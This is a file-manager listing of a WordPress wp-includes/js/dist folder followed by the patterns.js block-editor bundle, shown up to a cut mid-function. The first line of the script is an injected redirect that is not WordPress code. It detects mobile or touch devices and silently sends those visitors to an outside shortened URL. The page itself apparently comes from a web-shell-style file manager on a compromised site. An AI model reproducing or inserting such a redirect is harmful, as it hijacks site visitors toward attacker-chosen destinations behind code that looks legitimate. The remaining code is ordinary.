at path:ROOT / wp-includes / js / dist / patterns.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄patterns.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).patterns = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/data
36 var require_data = __commonJS({
37 "package-external:@wordpress/data"(exports, module) {
38 module.exports = window.wp.data;
39 }
40 });
41
42 // package-external:@wordpress/blocks
43 var require_blocks = __commonJS({
44 "package-external:@wordpress/blocks"(exports, module) {
45 module.exports = window.wp.blocks;
46 }
47 });
48
49 // package-external:@wordpress/core-data
50 var require_core_data = __commonJS({
51 "package-external:@wordpress/core-data"(exports, module) {
52 module.exports = window.wp.coreData;
53 }
54 });
55
56 // package-external:@wordpress/block-editor
57 var require_block_editor = __commonJS({
58 "package-external:@wordpress/block-editor"(exports, module) {
59 module.exports = window.wp.blockEditor;
60 }
61 });
62
63 // package-external:@wordpress/private-apis
64 var require_private_apis = __commonJS({
65 "package-external:@wordpress/private-apis"(exports, module) {
66 module.exports = window.wp.privateApis;
67 }
68 });
69
70 // package-external:@wordpress/components
71 var require_components = __commonJS({
72 "package-external:@wordpress/components"(exports, module) {
73 module.exports = window.wp.components;
74 }
75 });
76
77 // package-external:@wordpress/element
78 var require_element = __commonJS({
79 "package-external:@wordpress/element"(exports, module) {
80 module.exports = window.wp.element;
81 }
82 });
83
84 // package-external:@wordpress/i18n
85 var require_i18n = __commonJS({
86 "package-external:@wordpress/i18n"(exports, module) {
87 module.exports = window.wp.i18n;
88 }
89 });
90
91 // vendor-external:react/jsx-runtime
92 var require_jsx_runtime = __commonJS({
93 "vendor-external:react/jsx-runtime"(exports, module) {
94 module.exports = window.ReactJSXRuntime;
95 }
96 });
97
98 // package-external:@wordpress/notices
99 var require_notices = __commonJS({
100 "package-external:@wordpress/notices"(exports, module) {
101 module.exports = window.wp.notices;
102 }
103 });
104
105 // package-external:@wordpress/compose
106 var require_compose = __commonJS({
107 "package-external:@wordpress/compose"(exports, module) {
108 module.exports = window.wp.compose;
109 }
110 });
111
112 // package-external:@wordpress/html-entities
113 var require_html_entities = __commonJS({
114 "package-external:@wordpress/html-entities"(exports, module) {
115 module.exports = window.wp.htmlEntities;
116 }
117 });
118
119 // package-external:@wordpress/primitives
120 var require_primitives = __commonJS({
121 "package-external:@wordpress/primitives"(exports, module) {
122 module.exports = window.wp.primitives;
123 }
124 });
125
126 // package-external:@wordpress/url
127 var require_url = __commonJS({
128 "package-external:@wordpress/url"(exports, module) {
129 module.exports = window.wp.url;
130 }
131 });
132
133 // package-external:@wordpress/a11y
134 var require_a11y = __commonJS({
135 "package-external:@wordpress/a11y"(exports, module) {
136 module.exports = window.wp.a11y;
137 }
138 });
139
140 // packages/patterns/build-module/index.mjs
141 var index_exports = {};
142 __export(index_exports, {
143 privateApis: () => privateApis,
144 store: () => store
145 });
146
147 // packages/patterns/build-module/store/index.mjs
148 var import_data2 = __toESM(require_data(), 1);
149
150 // packages/patterns/build-module/store/reducer.mjs
151 var import_data = __toESM(require_data(), 1);
152 function isEditingPattern(state = {}, action) {
153 if (action?.type === "SET_EDITING_PATTERN") {
154 return {
155 ...state,
156 [action.clientId]: action.isEditing
157 };
158 }
159 return state;
160 }
161 var reducer_default = (0, import_data.combineReducers)({
162 isEditingPattern
163 });
164
165 // packages/patterns/build-module/store/actions.mjs
166 var actions_exports = {};
167 __export(actions_exports, {
168 convertSyncedPatternToStatic: () => convertSyncedPatternToStatic,
169 createPattern: () => createPattern,
170 createPatternFromFile: () => createPatternFromFile,
171 setEditingPattern: () => setEditingPattern
172 });
173 var import_blocks = __toESM(require_blocks(), 1);
174 var import_core_data = __toESM(require_core_data(), 1);
175 var import_block_editor = __toESM(require_block_editor(), 1);
176
177 // packages/patterns/build-module/constants.mjs
178 var PATTERN_TYPES = {
179 theme: "pattern",
180 user: "wp_block"
181 };
182 var PATTERN_DEFAULT_CATEGORY = "all-patterns";
183 var PATTERN_USER_CATEGORY = "my-patterns";
184 var EXCLUDED_PATTERN_SOURCES = [
185 "core",
186 "pattern-directory/core",
187 "pattern-directory/featured"
188 ];
189 var PATTERN_SYNC_TYPES = {
190 full: "fully",
191 unsynced: "unsynced"
192 };
193 var PATTERN_OVERRIDES_BINDING_SOURCE = "core/pattern-overrides";
194
195 // packages/patterns/build-module/store/actions.mjs
196 var createPattern = (title, syncType, content, categories) => async ({ registry }) => {
197 const meta = syncType === PATTERN_SYNC_TYPES.unsynced ? {
198 wp_pattern_sync_status: syncType
199 } : void 0;
200 const reusableBlock = {
201 title,
202 content,
203 status: "publish",
204 meta,
205 wp_pattern_category: categories
206 };
207 const updatedRecord = await registry.dispatch(import_core_data.store).saveEntityRecord("postType", "wp_block", reusableBlock);
208 return updatedRecord;
209 };
210 var createPatternFromFile = (file, categories) => async ({ dispatch }) => {
211 const fileContent = await file.text();
212 let parsedContent;
213 try {
214 parsedContent = JSON.parse(fileContent);
215 } catch (e) {
216 throw new Error("Invalid JSON file");
217 }
218 if (parsedContent.__file !== "wp_block" || !parsedContent.title || !parsedContent.content || typeof parsedContent.title !== "string" || typeof parsedContent.content !== "string" || parsedContent.syncStatus && typeof parsedContent.syncStatus !== "string") {
219 throw new Error("Invalid pattern JSON file");
220 }
221 const pattern = await dispatch.createPattern(
222 parsedContent.title,
223 parsedContent.syncStatus,
224 parsedContent.content,
225 categories
226 );
227 return pattern;
228 };
229 var convertSyncedPatternToStatic = (clientId) => ({ registry }) => {
230 const patternBlock = registry.select(import_block_editor.store).getBlock(clientId);
231 const existingOverrides = patternBlock.attributes?.content;
232 function cloneBlocksAndRemoveBindings(blocks) {
233 return blocks.map((block) => {
234 let metadata = block.attributes.metadata;
235 if (metadata) {
236 metadata = { ...metadata };
237 delete metadata.id;
238 delete metadata.bindings;
239 if (existingOverrides?.[metadata.name]) {
240 for (const [attributeName, value] of Object.entries(
241 existingOverrides[metadata.name]
242 )) {
243 if (!(0, import_blocks.getBlockType)(block.name)?.attributes[attributeName]) {
244 continue;
245 }
246 block.attributes[attributeName] = value;
247 }
248 }
249 }
250 return (0, import_blocks.cloneBlock)(
251 block,
252 {
253 metadata: metadata && Object.keys(metadata).length > 0 ? metadata : void 0
254 },
255 cloneBlocksAndRemoveBindings(block.innerBlocks)
256 );
257 });
258 }
259 const patternInnerBlocks = registry.select(import_block_editor.store).getBlocks(patternBlock.clientId);
260 registry.dispatch(import_block_editor.store).replaceBlocks(
261 patternBlock.clientId,
262 cloneBlocksAndRemoveBindings(patternInnerBlocks)
263 );
264 };
265 function setEditingPattern(clientId, isEditing) {
266 return {
267 type: "SET_EDITING_PATTERN",
268 clientId,
269 isEditing
270 };
271 }
272
273 // packages/patterns/build-module/store/constants.mjs
274 var STORE_NAME = "core/patterns";
275
276 // packages/patterns/build-module/store/selectors.mjs
277 var selectors_exports = {};
278 __export(selectors_exports, {
279 isEditingPattern: () => isEditingPattern2
280 });
281 function isEditingPattern2(state, clientId) {
282 return state.isEditingPattern[clientId];
283 }
284
285 // packages/patterns/build-module/lock-unlock.mjs
286 var import_private_apis = __toESM(require_private_apis(), 1);
287 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
288 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
289 "@wordpress/patterns"
290 );
291
292 // packages/patterns/build-module/store/index.mjs
293 var storeConfig = {
294 reducer: reducer_default
295 };
296 var store = (0, import_data2.createReduxStore)(STORE_NAME, {
297 ...storeConfig
298 });
299 (0, import_data2.register)(store);
300 unlock(store).registerPrivateActions(actions_exports);
301 unlock(store).registerPrivateSelectors(selectors_exports);
302
303 // packages/patterns/build-module/components/overrides-panel.mjs
304 var import_block_editor2 = __toESM(require_block_editor(), 1);
305 var import_components = __toESM(require_components(), 1);
306 var import_data3 = __toESM(require_data(), 1);
307 var import_element = __toESM(require_element(), 1);
308 var import_i18n = __toESM(require_i18n(), 1);
309
310 // packages/patterns/build-module/api/index.mjs
311 function isOverridableBlock(block) {
312 return !!block.attributes.metadata?.name && !!block.attributes.metadata?.bindings && Object.values(block.attributes.metadata.bindings).some(
313 (binding) => binding.source === "core/pattern-overrides"
314 );
315 }
316
317 // packages/patterns/build-module/components/overrides-panel.mjs
318 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
319 var { BlockQuickNavigation } = unlock(import_block_editor2.privateApis);
320 function OverridesPanel() {
321 const { allClientIds, supportedBlockTypesRaw } = (0, import_data3.useSelect)(
322 (select) => ({
323 allClientIds: select(import_block_editor2.store).getClientIdsWithDescendants(),
324 supportedBlockTypesRaw: select(import_block_editor2.store).getSettings()?.__experimentalBlockBindingsSupportedAttributes
325 }),
326 []
327 );
328 const { getBlock } = (0, import_data3.useSelect)(import_block_editor2.store);
329 const clientIdsWithOverrides = (0, import_element.useMemo)(() => {
330 const supportedBlockTypes = Object.keys(supportedBlockTypesRaw ?? {});
331 return allClientIds.filter((clientId) => {
332 const block = getBlock(clientId);
333 return supportedBlockTypes.includes(block.name) && isOverridableBlock(block);
334 });
335 }, [allClientIds, getBlock, supportedBlockTypesRaw]);
336 if (!clientIdsWithOverrides?.length) {
337 return null;
338 }
339 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.PanelBody, { title: (0, import_i18n.__)("Overrides"), children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(BlockQuickNavigation, { clientIds: clientIdsWithOverrides }) });
340 }
341
342 // packages/patterns/build-module/components/create-pattern-modal.mjs
343 var import_components3 = __toESM(require_components(), 1);
344 var import_i18n3 = __toESM(require_i18n(), 1);
345 var import_element4 = __toESM(require_element(), 1);
346 var import_data5 = __toESM(require_data(), 1);
347 var import_notices = __toESM(require_notices(), 1);
348 var import_core_data3 = __toESM(require_core_data(), 1);
349
350 // packages/patterns/build-module/components/category-selector.mjs
351 var import_i18n2 = __toESM(require_i18n(), 1);
352 var import_element2 = __toESM(require_element(), 1);
353 var import_components2 = __toESM(require_components(), 1);
354 var import_compose = __toESM(require_compose(), 1);
355 var import_html_entities = __toESM(require_html_entities(), 1);
356 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
357 var unescapeString = (arg) => {
358 return (0, import_html_entities.decodeEntities)(arg);
359 };
360 var CATEGORY_SLUG = "wp_pattern_category";
361 function CategorySelector({
362 categoryTerms,
363 onChange,
364 categoryMap
365 }) {
366 const [search, setSearch] = (0, import_element2.useState)("");
367 const debouncedSearch = (0, import_compose.useDebounce)(setSearch, 500);
368 const suggestions = (0, import_element2.useMemo)(() => {
369 return Array.from(categoryMap.values()).map((category) => unescapeString(category.label)).filter((category) => {
370 if (search !== "") {
371 return category.toLowerCase().includes(search.toLowerCase());
372 }
373 return true;
374 }).sort((a, b) => a.localeCompare(b));
375 }, [search, categoryMap]);
376 function handleChange(termNames) {
377 const uniqueTerms = termNames.reduce((terms, newTerm) => {
378 if (!terms.some(
379 (term) => term.toLowerCase() === newTerm.toLowerCase()
380 )) {
381 terms.push(newTerm);
382 }
383 return terms;
384 }, []);
385 onChange(uniqueTerms);
386 }
387 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
388 import_components2.FormTokenField,
389 {
390 className: "patterns-menu-items__convert-modal-categories",
391 value: categoryTerms,
392 suggestions,
393 onChange: handleChange,
394 onInputChange: debouncedSearch,
395 label: (0, import_i18n2.__)("Categories"),
396 tokenizeOnBlur: true,
397 __experimentalExpandOnFocus: true,
398 __next40pxDefaultSize: true
399 }
400 );
401 }
402
403 // packages/patterns/build-module/private-hooks.mjs
404 var import_data4 = __toESM(require_data(), 1);
405 var import_core_data2 = __toESM(require_core_data(), 1);
406 var import_element3 = __toESM(require_element(), 1);
407 function useAddPatternCategory() {
408 const { saveEntityRecord, invalidateResolution } = (0, import_data4.useDispatch)(import_core_data2.store);
409 const { corePatternCategories, userPatternCategories } = (0, import_data4.useSelect)(
410 (select) => {
411 const { getUserPatternCategories, getBlockPatternCategories } = select(import_core_data2.store);
412 return {
413 corePatternCategories: getBlockPatternCategories(),
414 userPatternCategories: getUserPatternCategories()
415 };
416 },
417 []
418 );
419 const categoryMap = (0, import_element3.useMemo)(() => {
420 const uniqueCategories = /* @__PURE__ */ new Map();
421 userPatternCategories.forEach((category) => {
422 uniqueCategories.set(category.label.toLowerCase(), {
423 label: category.label,
424 name: category.name,
425 id: category.id
426 });
427 });
428 corePatternCategories.forEach((category) => {
429 if (!uniqueCategories.has(category.label.toLowerCase()) && // There are two core categories with `Post` label so explicitly remove the one with
430 // the `query` slug to avoid any confusion.
431 category.name !== "query") {
432 uniqueCategories.set(category.label.toLowerCase(), {
433 label: category.label,
434 name: category.name
435 });
436 }
437 });
438 return uniqueCategories;
439 }, [userPatternCategories, corePatternCategories]);
440 async function findOrCreateTerm(term) {
441 try {
442 const existingTerm = categoryMap.get(term.toLowerCase());
443 if (existingTerm?.id) {
444 return existingTerm.id;
445 }
446 const termData = existingTerm ? { name: existingTerm.label, slug: existingTerm.name } : { name: term };
447 const newTerm = await saveEntityRecord(
448 "taxonomy",
449 CATEGORY_SLUG,
450 termData,
451 { throwOnError: true }
452 );
453 invalidateResolution("getUserPatternCategories");
454 return newTerm.id;
455 } catch (error) {
456 if (error.code !== "term_exists") {
457 throw error;
458 }
459 return error.data.term_id;
460 }
461 }
462 return { categoryMap, findOrCreateTerm };
463 }
464
465 // packages/patterns/build-module/components/create-pattern-modal.mjs
466 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
467 function CreatePatternModal({
468 className = "patterns-menu-items__convert-modal",
469 modalTitle,
470 ...restProps
471 }) {
472 const defaultModalTitle = (0, import_data5.useSelect)(
473 (select) => select(import_core_data3.store).getPostType(PATTERN_TYPES.user)?.labels?.add_new_item,
474 []
475 );
476 return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
477 import_components3.Modal,
478 {
479 title: modalTitle || defaultModalTitle,
480 onRequestClose: restProps.onClose,
481 overlayClassName: className,
482 focusOnMount: "firstContentElement",
483 size: "small",
484 children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(CreatePatternModalContents, { ...restProps })
485 }
486 );
487 }
488 function CreatePatternModalContents({
489 confirmLabel = (0, import_i18n3.__)("Add"),
490 defaultCategories = [],
491 content,
492 onClose,
493 onError,
494 onSuccess,
495 defaultSyncType = PATTERN_SYNC_TYPES.full,
496 defaultTitle = ""
497 }) {
498 const [syncType, setSyncType] = (0, import_element4.useState)(defaultSyncType);
499 const [categoryTerms, setCategoryTerms] = (0, import_element4.useState)(defaultCategories);
500 const [title, setTitle] = (0, import_element4.useState)(defaultTitle);
501 const [isSaving, setIsSaving] = (0, import_element4.useState)(false);
502 const { createPattern: createPattern2 } = unlock((0, import_data5.useDispatch)(store));
503 const { createErrorNotice } = (0, import_data5.useDispatch)(import_notices.store);
504 const { categoryMap, findOrCreateTerm } = useAddPatternCategory();
505 async function onCreate(patternTitle, sync) {
506 if (!title || isSaving) {
507 return;
508 }
509 try {
510 setIsSaving(true);
511 const categories = await Promise.all(
512 categoryTerms.map(
513 (termName) => findOrCreateTerm(termName)
514 )
515 );
516 const newPattern = await createPattern2(
517 patternTitle,
518 sync,
519 typeof content === "function" ? content() : content,
520 categories
521 );
522 onSuccess({
523 pattern: newPattern,
524 categoryId: PATTERN_DEFAULT_CATEGORY
525 });
526 } catch (error) {
527 createErrorNotice(error.message, {
528 type: "snackbar",
529 id: "pattern-create"
530 });
531 onError?.();
532 } finally {
533 setIsSaving(false);
534 setCategoryTerms([]);
535 setTitle("");
536 }
537 }
538 return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
539 "form",
540 {
541 onSubmit: (event) => {
542 event.preventDefault();
543 onCreate(title, syncType);
544 },
545 children: /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_components3.__experimentalVStack, { spacing: "5", children: [
546 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
547 import_components3.TextControl,
548 {
549 label: (0, import_i18n3.__)("Name"),
550 value: title,
551 onChange: setTitle,
552 placeholder: (0, import_i18n3.__)("My pattern"),
553 className: "patterns-create-modal__name-input",
554 __next40pxDefaultSize: true
555 }
556 ),
557 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
558 CategorySelector,
559 {
560 categoryTerms,
561 onChange: setCategoryTerms,
562 categoryMap
563 }
564 ),
565 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
566 import_components3.ToggleControl,
567 {
568 label: (0, import_i18n3._x)("Synced", "pattern (singular)"),
569 help: (0, import_i18n3.__)(
570 "Sync this pattern across multiple locations."
571 ),
572 checked: syncType === PATTERN_SYNC_TYPES.full,
573 onChange: () => {
574 setSyncType(
575 syncType === PATTERN_SYNC_TYPES.full ? PATTERN_SYNC_TYPES.unsynced : PATTERN_SYNC_TYPES.full
576 );
577 }
578 }
579 ),
580 /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_components3.__experimentalHStack, { justify: "right", children: [
581 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
582 import_components3.Button,
583 {
584 __next40pxDefaultSize: true,
585 variant: "tertiary",
586 onClick: () => {
587 onClose();
588 setTitle("");
589 },
590 children: (0, import_i18n3.__)("Cancel")
591 }
592 ),
593 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
594 import_components3.Button,
595 {
596 __next40pxDefaultSize: true,
597 variant: "primary",
598 type: "submit",
599 "aria-disabled": !title || isSaving,
600 isBusy: isSaving,
601 children: confirmLabel
602 }
603 )
604 ] })
605 ] })
606 }
607 );
608 }
609
610 // packages/patterns/build-module/components/duplicate-pattern-modal.mjs
611 var import_core_data4 = __toESM(require_core_data(), 1);
612 var import_data6 = __toESM(require_data(), 1);
613 var import_i18n4 = __toESM(require_i18n(), 1);
614 var import_notices2 = __toESM(require_notices(), 1);
615 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
616 function getTermLabels(pattern, categories) {
617 if (pattern.type !== PATTERN_TYPES.user) {
618 return categories.core?.filter(
619 (category) => pattern.categories?.includes(category.name)
620 ).map((category) => category.label);
621 }
622 return categories.user?.filter(
623 (category) => pattern.wp_pattern_category?.includes(category.id)
624 ).map((category) => category.label);
625 }
626 function useDuplicatePatternProps({ pattern, onSuccess }) {
627 const { createSuccessNotice } = (0, import_data6.useDispatch)(import_notices2.store);
628 const categories = (0, import_data6.useSelect)((select) => {
629 const { getUserPatternCategories, getBlockPatternCategories } = select(import_core_data4.store);
630 return {
631 core: getBlockPatternCategories(),
632 user: getUserPatternCategories()
633 };
634 });
635 if (!pattern) {
636 return null;
637 }
638 return {
639 content: pattern.content,
640 defaultCategories: getTermLabels(pattern, categories),
641 defaultSyncType: pattern.type !== PATTERN_TYPES.user ? PATTERN_SYNC_TYPES.unsynced : pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full,
642 defaultTitle: (0, import_i18n4.sprintf)(
643 /* translators: %s: Existing pattern title */
644 (0, import_i18n4._x)("%s (Copy)", "pattern"),
645 typeof pattern.title === "string" ? pattern.title : pattern.title.raw
646 ),
647 onSuccess: ({ pattern: newPattern }) => {
648 createSuccessNotice(
649 (0, import_i18n4.sprintf)(
650 // translators: %s: The new pattern's title e.g. 'Call to action (copy)'.
651 (0, import_i18n4._x)('"%s" duplicated.', "pattern"),
652 newPattern.title.raw
653 ),
654 {
655 type: "snackbar",
656 id: "patterns-create"
657 }
658 );
659 onSuccess?.({ pattern: newPattern });
660 }
661 };
662 }
663 function DuplicatePatternModal({
664 pattern,
665 onClose,
666 onSuccess
667 }) {
668 const duplicatedProps = useDuplicatePatternProps({ pattern, onSuccess });
669 if (!pattern) {
670 return null;
671 }
672 return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
673 CreatePatternModal,
674 {
675 modalTitle: (0, import_i18n4.__)("Duplicate pattern"),
676 confirmLabel: (0, import_i18n4.__)("Duplicate"),
677 onClose,
678 onError: onClose,
679 ...duplicatedProps
680 }
681 );
682 }
683
684 // packages/patterns/build-module/components/rename-pattern-modal.mjs
685 var import_components4 = __toESM(require_components(), 1);
686 var import_core_data5 = __toESM(require_core_data(), 1);
687 var import_data7 = __toESM(require_data(), 1);
688 var import_element5 = __toESM(require_element(), 1);
689 var import_html_entities2 = __toESM(require_html_entities(), 1);
690 var import_i18n5 = __toESM(require_i18n(), 1);
691 var import_notices3 = __toESM(require_notices(), 1);
692 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
693 function RenamePatternModal({
694 onClose,
695 onError,
696 onSuccess,
697 pattern,
698 ...props
699 }) {
700 const originalName = (0, import_html_entities2.decodeEntities)(pattern.title);
701 const [name, setName] = (0, import_element5.useState)(originalName);
702 const [isSaving, setIsSaving] = (0, import_element5.useState)(false);
703 const {
704 editEntityRecord,
705 __experimentalSaveSpecifiedEntityEdits: saveSpecifiedEntityEdits
706 } = (0, import_data7.useDispatch)(import_core_data5.store);
707 const { createSuccessNotice, createErrorNotice } = (0, import_data7.useDispatch)(import_notices3.store);
708 const onRename = async (event) => {
709 event.preventDefault();
710 if (!name || name === pattern.title || isSaving) {
711 return;
712 }
713 try {
714 await editEntityRecord("postType", pattern.type, pattern.id, {
715 title: name
716 });
717 setIsSaving(true);
718 setName("");
719 onClose?.();
720 const savedRecord = await saveSpecifiedEntityEdits(
721 "postType",
722 pattern.type,
723 pattern.id,
724 ["title"],
725 { throwOnError: true }
726 );
727 onSuccess?.(savedRecord);
728 createSuccessNotice((0, import_i18n5.__)("Pattern renamed"), {
729 type: "snackbar",
730 id: "pattern-update"
731 });
